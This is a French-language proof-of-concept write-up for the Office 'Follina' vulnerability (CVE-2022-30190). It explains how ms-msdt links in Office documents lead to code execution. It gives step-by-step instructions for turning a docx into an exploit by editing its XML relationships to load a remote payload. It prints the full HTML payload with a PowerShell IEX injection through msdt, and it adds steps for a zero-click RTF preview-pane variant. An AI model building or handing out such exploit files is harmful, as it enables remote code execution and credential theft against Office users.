
POC CVE-2022-30190 : CVE 0-day MS Offic RCE alias msdt follina
Info : Nouveau zero-day Microsoft Office utilisé dans des attaques pour exécuter PowerShell
Le 29 mai 2022, l'équipe Nao_Sec, une équipe indépendante de recherche en cybersécurité, a découvert un document Office malveillant partagé sur Virustotal. Ce document utilise un schéma inhabituel mais connu pour infecter ses victimes. Ce schéma n'a pas été détecté comme malveillant par certains EDR, comme Microsoft Defender for Endpoint. Cette vulnérabilité pourrait conduire à une exécution de code sans nécessiter d'interaction de l'utilisateur, car elle n'implique pas de macros, sauf si le mode Protected View est activé. Aucun numéro CVE n'a encore été attribué.
La vulnérabilité est exploitée en utilisant le schéma d'URI MSProtocol pour charger du code. Les attaquants peuvent intégrer des liens malveillants dans des documents, modèles ou e-mails Microsoft Office commençant par ms-msdt: qui seront chargés et exécutés par la suite sans interaction de l'utilisateur - sauf si le mode Protected View est activé. Néanmoins, la conversion du document au format RTF pourrait également contourner la fonctionnalité Protected View.
Les fichiers docx de MS Office peuvent contenir des références externes d'objets OLE sous forme de fichiers HTML. Il existe un schéma HTML « ms-msdt: » qui invoque l'outil de diagnostic msdt, capable d'exécuter du code arbitraire (spécifié dans les paramètres).
Le résultat est un vecteur d'attaque terrifiant pour obtenir une RCE en ouvrant des fichiers docx malveillants (sans utiliser de macros).
Voici les étapes pour construire un fichier docx de preuve de concept :
Ouvrez Word (version utilisée : 2019 Pro à jour, 16.0.10386.20017), créez un document factice, insérez un objet (OLE) (en tant qu'image Bitmap), enregistrez-le au format docx.
Modifiez word/_rels/document.xml.rels dans la structure du docx (c'est un simple zip). Modifiez la balise XML <Relationship> avec l'attribut
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
et Target="embeddings/oleObject1.bin" en changeant la valeur de Target et en ajoutant l'attribut TargetMode :
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Notez la valeur de l'Id (probablement « rId5 »).
word/document.xml. Recherchez la balise <o:OLEObject ..> (avec r:id="rId5") et changez l'attribut de Type="Embed" à Type="Link" et ajoutez l'attribut UpdateMode="OnCall".NOTE : Le fichier docx malveillant créé est presque le même que pour CVE-2021-44444.
http://<payload_server>/payload.html :<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
Notez que :
De plus, la charge utile déclencheuse peut contacter des emplacements distants. Bien qu'il soit peu probable qu'elle invoque un binaire non fiable, la connexion véhiculera toujours des hachages NTLM (ce qui signifie que les acteurs malveillants possèdent désormais un hachage du mot de passe Windows de la victime) qui pourraient être utilisés par un adversaire pour une post-exploitation ultérieure.
Si vous ajoutez également ces éléments sous l'élément <o:OLEObject> dans word/document.xml à l'étape 3 :
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
alors cela fonctionnera également en RTF (ouvrez le docx résultant et enregistrez-le au format RTF).
Avec le RTF, il n'est pas nécessaire d'ouvrir le fichier dans Word, il suffit de naviguer jusqu'au fichier et de le visualiser dans un volet d'aperçu. Le volet d'aperçu déclenche la charge utile HTML externe et la RCE est là sans aucun clic.